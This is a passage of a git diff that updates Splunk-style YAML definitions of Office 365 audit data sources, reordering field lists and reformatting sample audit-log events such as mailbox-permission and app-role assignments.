"isManaged": false, "trustType": ""}, "location": {"city": "Miami", "state": "Florida", "countryOrRegion": "US", "geoCoordinates": {"altitude": null, "latitude": 25.76286, "longitude": -80.31196}}, "appliedConditionalAccessPolicies": []}' +example_log: | + {"Report Refresh Date": "2025-08-18", "Group Display Name": "7D3654B07E126BBD0D18174368FC243F", "Is Deleted": "False", "Owner Principal Name": "", "Last Activity Date": "", "Group Type": "Public", "Member Count": "0", "External Member Count": "0", "Exchange Received Email Count": "", "SharePoint Active File Count": "", "Yammer Posted Message Count": "", "Yammer Read Message Count": "", "Yammer Liked Message Count": "", "Exchange Mailbox Total Item Count": "7", "Exchange Mailbox Storage Used (Byte)": "259147", "SharePoint Total File Count": "0", "SharePoint Site Storage Used (Byte)": "0", "Group Id": "00000000-0000-0000-0000-000000000000", "Report Period": "1", "timestamp": "2025-08-20T11:30:37Z"} diff --git a/data_sources/o365.yml b/data_sources/o365.yml index ca824bcbf3..038e2a486a 100644 --- a/data_sources/o365.yml +++ b/data_sources/o365.yml @@ -1,8 +1,8 @@ name: O365 id: b32de97d-0074-4cca-853c-db22c392b6c0 -version: 3 +version: 4 creation_date: '2024-07-16' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs management activities in Microsoft 365, including administrative actions, user activities, and configuration changes across various services. mitre_components: @@ -14,7 +14,84 @@ mitre_components: source: o365 sourcetype: o365:management:activity separator: Operation +fields: + - _time + - action + - app + - AppAccessContext.IssuedAtTime + - AppAccessContext.UniqueTokenId + - AppId + - authentication_service + - change_type + - ClientAppId + - ClientIP + - command + - CreationTime + - dataset_name + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - dest + - dest_name + - dvc + - eventtype + - ExternalAccess + - host + - Id + - index + - linecount + - Name + - object + - object_attrs + - object_category + - object_id + - ObjectId + - Operation + - OrganizationId + - OrganizationName + - OriginatingServer + - Parameters{}.Name + - Parameters{}.Value + - Params + - punct + - record_type + - RecordType + - RequestId + - result + - ResultStatus + - Role + - SessionId + - signature + - source + - sourcetype + - splunk_server + - src + - src_ip + - status + - tag + - tag::eventtype + - tenant_id + - timeendpos + - timestartpos + - User + - user + - user_id + - user_type + - UserId + - UserKey + - UserType + - vendor_account + - vendor_product + - Version + - Workload supported_TA: - name: Splunk Add-on for Microsoft Office 365 url: https://splunkbase.splunk.com/app/4055 version: 6.1.1 +example_log: | + {"AppAccessContext": {"IssuedAtTime": "2023-10-17T19:13:05", "UniqueTokenId": "g7oAmNhLoU-8qJVeWeAwAA"}, "CreationTime": "2023-10-17T19:19:59", "Id": "3d26a8cd-d8f4-42f9-1898-08dbcf460e5a", "Operation": "New-ManagementRoleAssignment", "OrganizationId": "aeb12f6b-1ff3-4a18-9ea2-29aa57e2ae08", "RecordType": 1, "ResultStatus": "True", "UserKey": "1003BFFD98415B4E", "UserType": 2, "Version": 1, "Workload": "Exchange", "ClientIP": "71.1.1.1:61528", "ObjectId": "splunkresearch.onmicrosoft.com\\attack-test", "UserId": "compromisedAdmin@splunkresearch.onmicrosoft.com", "AppId": "fb78d390-0c51-40cd-8e17-fdbfab77341b", "ClientAppId": "", "ExternalAccess": false, "OrganizationName": "splunkresearch.onmicrosoft.com", "OriginatingServer": "BYAPR18MB2408 (15.20.6863.047)", "Parameters": [{"Name": "User", "Value": "lowpriv@splunkresearch.onmicrosoft.com"}, {"Name": "Name", "Value": "attack-test"}, {"Name": "Role", "Value": "ApplicationImpersonation"}], "RequestId": "53a50583-e429-63a4-c9f7-8fbb14437e8a", "SessionId": "e2a028f1-d0e1-4ddb-a5a7-ec57343457ad"} diff --git a/data_sources/o365_add_app_role_assignment_grant_to_user_.yml b/data_sources/o365_add_app_role_assignment_grant_to_user_.yml index 00bc4805b4..9ad1ca95df 100644 --- a/data_sources/o365_add_app_role_assignment_grant_to_user_.yml +++ b/data_sources/o365_add_app_role_assignment_grant_to_user_.yml @@ -1,8 +1,8 @@ name: O365 Add app role assignment grant to user. id: ce1d7849-a1d2-47fd-b6eb-d7ef854a860c -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the assignment of an application role grant to a user in Microsoft 365, including details about the role, user, and application involved. mitre_components: @@ -24,55 +24,43 @@ fields: - ActorIpAddress - Actor{}.ID - Actor{}.Type + - additionalDetails + - app + - authentication_service - AzureActiveDirectoryEventType - ClientIP + - command - CreationTime + - dest + - dest_name + - dvc + - event_type + - extended_properties + - extendedAuditEventCategory - ExtendedProperties{}.Name - ExtendedProperties{}.Value + - host - Id + - index - InterSystemsId - IntraSystemId + - linecount + - modified_properties + - modified_properties_name + - modified_properties_new_value - ModifiedProperties{}.Name - ModifiedProperties{}.NewValue - ModifiedProperties{}.OldValue + - object + - object_id - ObjectId - Operation - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - - additionalDetails - - app - - authentication_service - - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_name - - dvc - - event_type - - extendedAuditEventCategory - - extended_properties - - host - - index - - linecount - - object - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype @@ -81,17 +69,29 @@ fields: - src_ip - src_user - status - - timeendpos - - timestartpos + - SupportTicketId + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id + - timestamp - user + - user_agent + - user_agent_change - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"Actor": [{"ID": "rodsoto@rodsoto.onmicrosoft.com", "Type": 5}, {"ID": "10037FFEA938FB92", "Type": 3}, {"ID": "74658136-14ec-4630-ad9b-26e160ff0fc6", "Type": 2}, {"ID": "User_bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "ActorIpAddress": "40.124.84.4", "AzureActiveDirectoryEventType": 1, "ClientIP": "40.124.84.4", "CreationTime": "2021-01-19T22:21:39", "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{}"}, {"Name": "extendedAuditEventCategory", "Value": "User"}], "Id": "8b9e5417-c310-4382-89da-c0f25c5c0576", "InterSystemsId": "85c80877-c529-4487-8f44-48760767cc6c", "IntraSystemId": "6fc81447-9c94-4734-8bd7-307bb699c04e", "ModifiedProperties": [{"Name": "AppRole.Id", "NewValue": "97edced9-9f34-4eef-9b49-84a5ebcd5167", "OldValue": ""}, {"Name": "AppRole.Value", "NewValue": "arn:aws:iam::111111111111:role/rodonmicrotestrole,arn:aws:iam::111111111111:saml-provider/rodsotoonmicrosoft", "OldValue": ""}, {"Name": "AppRole.DisplayName", "NewValue": "rodonmicrotestrole,rodsotoonmicrosoft", "OldValue": ""}, {"Name": "User.ObjectID", "NewValue": "7646f1a9-620c-4630-b5e4-b02838be5562", "OldValue": ""}, {"Name": "User.UPN", "NewValue": "vagrant@rodsoto.onmicrosoft.com", "OldValue": ""}, {"Name": "User.PUID", "NewValue": "100320010972E450", "OldValue": ""}, {"Name": "TargetId.ServicePrincipalNames", "NewValue": "https://signin.aws.amazon.com/saml;3e71560f-3e31-45ab-b439-46328fe55b88", "OldValue": ""}], "ObjectId": "https://signin.aws.amazon.com/saml;3e71560f-3e31-45ab-b439-46328fe55b88", "Operation": "Add app role assignment grant to user.", "OrganizationId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "RecordType": 8, "ResultStatus": "Success", "SupportTicketId": "", "Target": [{"ID": "ServicePrincipal_9fd10db9-dfe2-4d74-a724-c837eb8764d9", "Type": 2}, {"ID": "9fd10db9-dfe2-4d74-a724-c837eb8764d9", "Type": 2}, {"ID": "ServicePrincipal", "Type": 2}, {"ID": "Amazon Web Services (AWS)", "Type": 1}, {"ID": "3e71560f-3e31-45ab-b439-46328fe55b88", "Type": 2}, {"ID": "https://signin.aws.amazon.com/saml;3e71560f-3e31-45ab-b439-46328fe55b88", "Type": 4}], "TargetContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "UserId": "rodsoto@rodsoto.onmicrosoft.com", "UserKey": "10037FFEA938FB92@rodsoto.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory"}' +example_log: | + {"Actor": [{"ID": "rodsoto@rodsoto.onmicrosoft.com", "Type": 5}, {"ID": "10037FFEA938FB92", "Type": 3}, {"ID": "74658136-14ec-4630-ad9b-26e160ff0fc6", "Type": 2}, {"ID": "User_bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 2}, {"ID": "User", "Type": 2}], "ActorContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "ActorIpAddress": "40.124.84.4", "AzureActiveDirectoryEventType": 1, "ClientIP": "40.124.84.4", "CreationTime": "2021-01-05T22:38:18", "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{}"}, {"Name": "extendedAuditEventCategory", "Value": "User"}], "Id": "c85f23b8-efbe-408c-937f-87bf275b07a5", "InterSystemsId": "d5e28497-8835-49e2-8caf-25ad7d054f33", "IntraSystemId": "fea87ad1-8c77-48f6-b0fe-6f5f475f10c6", "ModifiedProperties": [{"Name": "AppRole.Id", "NewValue": "8b292bda-39b6-4b77-849e-887565235bb0", "OldValue": ""}, {"Name": "AppRole.Value", "NewValue": "", "OldValue": ""}, {"Name": "AppRole.DisplayName", "NewValue": "msiam_access", "OldValue": ""}, {"Name": "User.ObjectID", "NewValue": "bfb8c366-0406-41a5-b3e3-328f4a3b4484", "OldValue": ""}, {"Name": "User.UPN", "NewValue": "rodsoto@rodsoto.onmicrosoft.com", "OldValue": ""}, {"Name": "User.PUID", "NewValue": "10037FFEA938FB92", "OldValue": ""}, {"Name": "TargetId.ServicePrincipalNames", "NewValue": "ae5ccacb-778b-4bb9-a6e8-f4027573d35e", "OldValue": ""}], "ObjectId": "ae5ccacb-778b-4bb9-a6e8-f4027573d35e", "Operation": "Add app role assignment grant to user.", "OrganizationId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "RecordType": 8, "ResultStatus": "Success", "SupportTicketId": "", "Target": [{"ID": "ServicePrincipal_7916f4c7-c905-47e1-973d-859e77006b47", "Type": 2}, {"ID": "7916f4c7-c905-47e1-973d-859e77006b47", "Type": 2}, {"ID": "ServicePrincipal", "Type": 2}, {"ID": "Azure AD SAML Toolkit", "Type": 1}, {"ID": "ae5ccacb-778b-4bb9-a6e8-f4027573d35e", "Type": 2}, {"ID": "ae5ccacb-778b-4bb9-a6e8-f4027573d35e", "Type": 4}], "TargetContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "UserId": "rodsoto@rodsoto.onmicrosoft.com", "UserKey": "10037FFEA938FB92@rodsoto.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory"} diff --git a/data_sources/o365_add_app_role_assignment_to_service_principal_.yml b/data_sources/o365_add_app_role_assignment_to_service_principal_.yml index 67062042d5..48709f7882 100644 --- a/data_sources/o365_add_app_role_assignment_to_service_principal_.yml +++ b/data_sources/o365_add_app_role_assignment_to_service_principal_.yml @@ -1,8 +1,8 @@ name: O365 Add app role assignment to service principal. id: 785ba57a-ba7b-474e-97c8-9474e6e00b3a -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the assignment of an application role to a service principal in Microsoft 365, including details about the role, service principal, and application involved. mitre_components: @@ -23,34 +23,12 @@ fields: - ActorContextId - Actor{}.ID - Actor{}.Type - - AzureActiveDirectoryEventType - - CreationTime - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - ModifiedProperties{}.Name - - ModifiedProperties{}.NewValue - - ModifiedProperties{}.OldValue - - ObjectId - - Operation - - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - additionalDetails - app - authentication_service + - AzureActiveDirectoryEventType - command + - CreationTime - date_hour - date_mday - date_minute @@ -63,21 +41,38 @@ fields: - dest_name - dvc - event_type - - eventtype - extendedAuditEventCategory + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId - linecount + - ModifiedProperties{}.Name + - ModifiedProperties{}.NewValue + - ModifiedProperties{}.OldValue - object + - object_id + - ObjectId + - Operation + - OrganizationId - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - status - - tag - - tag::eventtype + - SupportTicketId + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id - timeendpos - timestartpos - user @@ -85,12 +80,18 @@ fields: - user_agent_change - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2024-02-08T21:49:53", "Id": "a6bee61d-8b3f-42e1-b4fa-778fb05c43ac", "Operation": "Add app role assignment to service principal.", "OrganizationId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "RecordType": 8, "ResultStatus": "Success", "UserKey": "Not Available", "UserType": 4, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "https://outlook.office.com;Microsoft.Exchange;00000002-0000-0ff1-ce00-000000000000;00000002-0000-0ff1-ce00-000000000000/*.outlook.com;00000002-0000-0ff1-ce00-000000000000/outlook.com;00000002-0000-0ff1-ce00-000000000000/mail.office365.com;00000002-0000-0ff1-ce00-000000000000/outlook.office365.com;https://webmail.apps.mil/;https://ps.protection.outlook.com/;https://outlook-dod.office365.us/;https://outlook.com/;https://outlook.office365.com/;https://outlook.office.com/;https://outlook.office365.com:443/;https://outlook-sdf.office365.com/;https://outlook-sdf.office.com/;https://outlook.office365.us/;https://autodiscover-s.office365.us/;https://ps.compliance.protection.outlook.com;https://manage.protection.apps.mil;https://outlook-tdf.office.com/;https://outlook-tdf-2.office.com/;https://ps.outlook.com", "UserId": "ServicePrincipal_fc8c8125-bc0c-499d-8344-e53c6e3caa81", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Mozilla/5.0 (Macintosh; Darwin 23.3.0 Darwin Kernel Version 23.3.0: Wed Dec 20 21:28:58 PST 2023; root:xnu-10002.81.5~7/RELEASE_X86_64; en-US) PowerShell/7.3.4\",\"AppId\":\"00000002-0000-0ff1-ce00-000000000000\"}"}, {"Name": "extendedAuditEventCategory", "Value": "ServicePrincipal"}], "ModifiedProperties": [{"Name": "AppRole.Id", "NewValue": "dc890d15-9560-4a4c-9b7f-a736ec74ec40", "OldValue": ""}, {"Name": "AppRole.Value", "NewValue": "full_access_as_app", "OldValue": ""}, {"Name": "AppRole.DisplayName", "NewValue": "Use Exchange Web Services with full access to all mailboxes", "OldValue": ""}, {"Name": "AppRoleAssignment.CreatedDateTime", "NewValue": "2/8/2024 9:49:53 PM", "OldValue": ""}, {"Name": "AppRoleAssignment.LastModifiedDateTime", "NewValue": "2/8/2024 9:49:53 PM", "OldValue": ""}, {"Name": "ServicePrincipal.ObjectID", "NewValue": "2e5c2fd0-cca4-452c-9891-a07c0dafd964", "OldValue": ""}, {"Name": "ServicePrincipal.DisplayName", "NewValue": "STRT_Oauth", "OldValue": ""}, {"Name": "ServicePrincipal.AppId", "NewValue": "5f91ce94-4cc5-4ebe-aeb6-f074e57201bb", "OldValue": ""}, {"Name": "ServicePrincipal.Name", "NewValue": "5f91ce94-4cc5-4ebe-aeb6-f074e57201bb", "OldValue": ""}, {"Name": "TargetId.ServicePrincipalNames", "NewValue": "https://outlook.office.com;Microsoft.Exchange;00000002-0000-0ff1-ce00-000000000000;00000002-0000-0ff1-ce00-000000000000/*.outlook.com;00000002-0000-0ff1-ce00-000000000000/outlook.com;00000002-0000-0ff1-ce00-000000000000/mail.office365.com;00000002-0000-0ff1-ce00-000000000000/outlook.office365.com;https://webmail.apps.mil/;https://ps.protection.outlook.com/;https://outlook-dod.office365.us/;https://outlook.com/;https://outlook.office365.com/;https://outlook.office.com/;https://outlook.office365.com:443/;https://outlook-sdf.office365.com/;https://outlook-sdf.office.com/;https://outlook.office365.us/;https://autodiscover-s.office365.us/;https://ps.compliance.protection.outlook.com;https://manage.protection.apps.mil;https://outlook-tdf.office.com/;https://outlook-tdf-2.office.com/;https://ps.outlook.com", "OldValue": ""}], "Actor": [{"ID": "LegacyTestOAuthApp", "Type": 1}, {"ID": "869dc64b-95b2-4003-8098-3ba39296ea46", "Type": 2}, {"ID": "ServicePrincipal_fc8c8125-bc0c-499d-8344-e53c6e3caa81", "Type": 2}, {"ID": "fc8c8125-bc0c-499d-8344-e53c6e3caa81", "Type": 2}, {"ID": "ServicePrincipal", "Type": 2}], "ActorContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "InterSystemsId": "ed53faec-49b5-444f-b6af-b928558ca433", "IntraSystemId": "00000000-0000-0000-0000-000000000000", "SupportTicketId": "", "Target": [{"ID": "ServicePrincipal_8429eb5c-faeb-4ade-8eac-acc003790769", "Type": 2}, {"ID": "8429eb5c-faeb-4ade-8eac-acc003790769", "Type": 2}, {"ID": "ServicePrincipal", "Type": 2}, {"ID": "Office 365 Exchange Online", "Type": 1}, {"ID": "00000002-0000-0ff1-ce00-000000000000", "Type": 2}, {"ID": "https://outlook.office.com;Microsoft.Exchange;00000002-0000-0ff1-ce00-000000000000;00000002-0000-0ff1-ce00-000000000000/*.outlook.com;00000002-0000-0ff1-ce00-000000000000/outlook.com;00000002-0000-0ff1-ce00-000000000000/mail.office365.com;00000002-0000-0ff1-ce00-000000000000/outlook.office365.com;https://webmail.apps.mil/;https://ps.protection.outlook.com/;https://outlook-dod.office365.us/;https://outlook.com/;https://outlook.office365.com/;https://outlook.office.com/;https://outlook.office365.com:443/;https://outlook-sdf.office365.com/;https://outlook-sdf.office.com/;https://outlook.office365.us/;https://autodiscover-s.office365.us/;https://ps.compliance.protection.outlook.com;https://manage.protection.apps.mil;https://outlook-tdf.office.com/;https://outlook-tdf-2.office.com/;https://ps.outlook.com", "Type": 4}], "TargetContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4"}' +example_log: | + {"CreationTime": "2024-02-08T21:49:53", "Id": "a6bee61d-8b3f-42e1-b4fa-778fb05c43ac", "Operation": "Add app role assignment to service principal.", "OrganizationId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "RecordType": 8, "ResultStatus": "Success", "UserKey": "Not Available", "UserType": 4, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": "https://outlook.office.com;Microsoft.Exchange;00000002-0000-0ff1-ce00-000000000000;00000002-0000-0ff1-ce00-000000000000/*.outlook.com;00000002-0000-0ff1-ce00-000000000000/outlook.com;00000002-0000-0ff1-ce00-000000000000/mail.office365.com;00000002-0000-0ff1-ce00-000000000000/outlook.office365.com;https://webmail.apps.mil/;https://ps.protection.outlook.com/;https://outlook-dod.office365.us/;https://outlook.com/;https://outlook.office365.com/;https://outlook.office.com/;https://outlook.office365.com:443/;https://outlook-sdf.office365.com/;https://outlook-sdf.office.com/;https://outlook.office365.us/;https://autodiscover-s.office365.us/;https://ps.compliance.protection.outlook.com;https://manage.protection.apps.mil;https://outlook-tdf.office.com/;https://outlook-tdf-2.office.com/;https://ps.outlook.com", "UserId": "ServicePrincipal_fc8c8125-bc0c-499d-8344-e53c6e3caa81", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "additionalDetails", "Value": "{\"User-Agent\":\"Mozilla/5.0 (Macintosh; Darwin 23.3.0 Darwin Kernel Version 23.3.0: Wed Dec 20 21:28:58 PST 2023; root:xnu-10002.81.5~7/RELEASE_X86_64; en-US) PowerShell/7.3.4\",\"AppId\":\"00000002-0000-0ff1-ce00-000000000000\"}"}, {"Name": "extendedAuditEventCategory", "Value": "ServicePrincipal"}], "ModifiedProperties": [{"Name": "AppRole.Id", "NewValue": "dc890d15-9560-4a4c-9b7f-a736ec74ec40", "OldValue": ""}, {"Name": "AppRole.Value", "NewValue": "full_access_as_app", "OldValue": ""}, {"Name": "AppRole.DisplayName", "NewValue": "Use Exchange Web Services with full access to all mailboxes", "OldValue": ""}, {"Name": "AppRoleAssignment.CreatedDateTime", "NewValue": "2/8/2024 9:49:53 PM", "OldValue": ""}, {"Name": "AppRoleAssignment.LastModifiedDateTime", "NewValue": "2/8/2024 9:49:53 PM", "OldValue": ""}, {"Name": "ServicePrincipal.ObjectID", "NewValue": "2e5c2fd0-cca4-452c-9891-a07c0dafd964", "OldValue": ""}, {"Name": "ServicePrincipal.DisplayName", "NewValue": "STRT_Oauth", "OldValue": ""}, {"Name": "ServicePrincipal.AppId", "NewValue": "5f91ce94-4cc5-4ebe-aeb6-f074e57201bb", "OldValue": ""}, {"Name": "ServicePrincipal.Name", "NewValue": "5f91ce94-4cc5-4ebe-aeb6-f074e57201bb", "OldValue": ""}, {"Name": "TargetId.ServicePrincipalNames", "NewValue": "https://outlook.office.com;Microsoft.Exchange;00000002-0000-0ff1-ce00-000000000000;00000002-0000-0ff1-ce00-000000000000/*.outlook.com;00000002-0000-0ff1-ce00-000000000000/outlook.com;00000002-0000-0ff1-ce00-000000000000/mail.office365.com;00000002-0000-0ff1-ce00-000000000000/outlook.office365.com;https://webmail.apps.mil/;https://ps.protection.outlook.com/;https://outlook-dod.office365.us/;https://outlook.com/;https://outlook.office365.com/;https://outlook.office.com/;https://outlook.office365.com:443/;https://outlook-sdf.office365.com/;https://outlook-sdf.office.com/;https://outlook.office365.us/;https://autodiscover-s.office365.us/;https://ps.compliance.protection.outlook.com;https://manage.protection.apps.mil;https://outlook-tdf.office.com/;https://outlook-tdf-2.office.com/;https://ps.outlook.com", "OldValue": ""}], "Actor": [{"ID": "LegacyTestOAuthApp", "Type": 1}, {"ID": "869dc64b-95b2-4003-8098-3ba39296ea46", "Type": 2}, {"ID": "ServicePrincipal_fc8c8125-bc0c-499d-8344-e53c6e3caa81", "Type": 2}, {"ID": "fc8c8125-bc0c-499d-8344-e53c6e3caa81", "Type": 2}, {"ID": "ServicePrincipal", "Type": 2}], "ActorContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "InterSystemsId": "ed53faec-49b5-444f-b6af-b928558ca433", "IntraSystemId": "00000000-0000-0000-0000-000000000000", "SupportTicketId": "", "Target": [{"ID": "ServicePrincipal_8429eb5c-faeb-4ade-8eac-acc003790769", "Type": 2}, {"ID": "8429eb5c-faeb-4ade-8eac-acc003790769", "Type": 2}, {"ID": "ServicePrincipal", "Type": 2}, {"ID": "Office 365 Exchange Online", "Type": 1}, {"ID": "00000002-0000-0ff1-ce00-000000000000", "Type": 2}, {"ID": "https://outlook.office.com;Microsoft.Exchange;00000002-0000-0ff1-ce00-000000000000;00000002-0000-0ff1-ce00-000000000000/*.outlook.com;00000002-0000-0ff1-ce00-000000000000/outlook.com;00000002-0000-0ff1-ce00-000000000000/mail.office365.com;00000002-0000-0ff1-ce00-000000000000/outlook.office365.com;https://webmail.apps.mil/;https://ps.protection.outlook.com/;https://outlook-dod.office365.us/;https://outlook.com/;https://outlook.office365.com/;https://outlook.office.com/;https://outlook.office365.com:443/;https://outlook-sdf.office365.com/;https://outlook-sdf.office.com/;https://outlook.office365.us/;https://autodiscover-s.office365.us/;https://ps.compliance.protection.outlook.com;https://manage.protection.apps.mil;https://outlook-tdf.office.com/;https://outlook-tdf-2.office.com/;https://ps.outlook.com", "Type": 4}], "TargetContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4"} diff --git a/data_sources/o365_add_mailboxpermission.yml b/data_sources/o365_add_mailboxpermission.yml index 9c2dd48871..142e8eb924 100644 --- a/data_sources/o365_add_mailboxpermission.yml +++ b/data_sources/o365_add_mailboxpermission.yml @@ -1,8 +1,8 @@ name: O365 Add-MailboxPermission id: 9c0babdb-bb15-449e-abba-0a9cdb3fc061 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the addition of mailbox permissions in Microsoft 365, including details about the mailbox, granted permissions, and the user or administrator performing the action. mitre_components: @@ -21,14 +21,25 @@ supported_TA: fields: - _time - AccessRights + - app - AppId + - authentication_service - ClientAppId - ClientIP + - command - CreationTime + - dest + - dest_name + - dvc - ExternalAccess + - host - Id - Identity + - index - InheritanceType + - linecount + - object + - object_id - ObjectId - Operation - OrganizationId @@ -36,35 +47,13 @@ fields: - OriginatingServer - Parameters{}.Name - Parameters{}.Value + - Params + - punct + - record_type - RecordType + - result - ResultStatus - SessionId - - User - - UserId - - UserKey - - UserType - - Version - - Workload - - app - - authentication_service - - command - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_name - - dvc - - host - - index - - linecount - - object - - punct - - record_type - signature - source - sourcetype @@ -72,17 +61,24 @@ fields: - src - src_ip - status - - timeendpos - - timestartpos + - tenant_id + - timestamp + - User - user - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"AppId": "", "ClientAppId": "", "ClientIP": "18.159.234.121:30395", "CreationTime": "2020-12-15T10:18:53", "ExternalAccess": false, "Id": "bb6e31a3-e98f-493d-bbff-08d8a0e2d2b0", "ObjectId": "jhernan", "Operation": "Add-MailboxPermission", "OrganizationId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "OrganizationName": "rodsoto.onmicrosoft.com", "OriginatingServer": "PH0PR14MB4341 (15.20.3654.025)", "Parameters": [{"Name": "Identity", "Value": "jhernan"}, {"Name": "User", "Value": "Patrick Bareiss"}, {"Name": "AccessRights", "Value": "FullAccess"}, {"Name": "InheritanceType", "Value": "All"}], "RecordType": 1, "ResultStatus": "True", "SessionId": "2be46662-a743-4a05-8744-c2f75f886512", "UserId": "pbareiss@rodsoto.onmicrosoft.com", "UserKey": "10032001020A3408", "UserType": 2, "Version": 1, "Workload": "Exchange"}' +example_log: | + {"AppId": "", "ClientAppId": "", "ClientIP": "18.159.234.121:30395", "CreationTime": "2020-12-15T09:41:16", "ExternalAccess": false, "Id": "d2a5f7e4-804e-432a-4318-08d8a0dd9195", "ObjectId": "jhernan", "Operation": "Add-MailboxPermission", "OrganizationId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "OrganizationName": "rodsoto.onmicrosoft.com", "OriginatingServer": "PH0PR14MB4341 (15.20.3654.025)", "Parameters": [{"Name": "Identity", "Value": "jhernan"}, {"Name": "User", "Value": "Patrick Bareiss"}, {"Name": "AccessRights", "Value": "FullAccess"}, {"Name": "InheritanceType", "Value": "All"}], "RecordType": 1, "ResultStatus": "True", "SessionId": "2be46662-a743-4a05-8744-c2f75f886512", "UserId": "pbareiss@rodsoto.onmicrosoft.com", "UserKey": "10032001020A3408", "UserType": 2, "Version": 1, "Workload": "Exchange"} diff --git a/data_sources/o365_add_member_to_role_.yml b/data_sources/o365_add_member_to_role_.yml index bc771f7805..3aebf22c26 100644 --- a/data_sources/o365_add_member_to_role_.yml +++ b/data_sources/o365_add_member_to_role_.yml @@ -1,8 +1,8 @@ name: O365 Add member to role. id: 8b949f7c-4b5d-404f-9694-d7403c4ec096 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the addition of a member to a role in Microsoft 365, including details about the role, the added member, and the user or administrator performing the action. mitre_components: @@ -20,39 +20,17 @@ supported_TA: version: 6.1.1 fields: - _time + - action - ActorContextId - Actor{}.ID - Actor{}.Type - - AzureActiveDirectoryEventType - - CreationTime - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - ModifiedProperties{}.Name - - ModifiedProperties{}.NewValue - - ModifiedProperties{}.OldValue - - ObjectId - - Operation - - OrganizationId - - RecordType - - ResultStatus - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserId - - UserKey - - UserType - - Version - - Workload - - action - additionalDetails - app - authentication_service + - AzureActiveDirectoryEventType - change_type - command + - CreationTime - dataset_name - date_hour - date_mday @@ -68,32 +46,58 @@ fields: - event_type - eventtype - extendedAuditEventCategory + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId - linecount + - ModifiedProperties{}.Name + - ModifiedProperties{}.NewValue + - ModifiedProperties{}.OldValue - object - object_attrs - object_category + - object_id + - ObjectId + - Operation + - OrganizationId - punct - record_type + - RecordType + - result + - ResultStatus - signature - source - sourcetype - splunk_server - status + - SupportTicketId - tag - tag::eventtype + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id - timeendpos - timestartpos - user - user_id - user_type + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2023-10-20T16:50:46", "Id": "30a8b107-b190-406c-9b80-c3f5c3a29129", "Operation": "Add member to role.", "OrganizationId": "d8211c86-3244-409b-8c4f-ae27ed34b4a5", "RecordType": 8, "ResultStatus": "Success", "UserKey": "1003BFFD98415B4E@splunkresearch.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ObjectId": 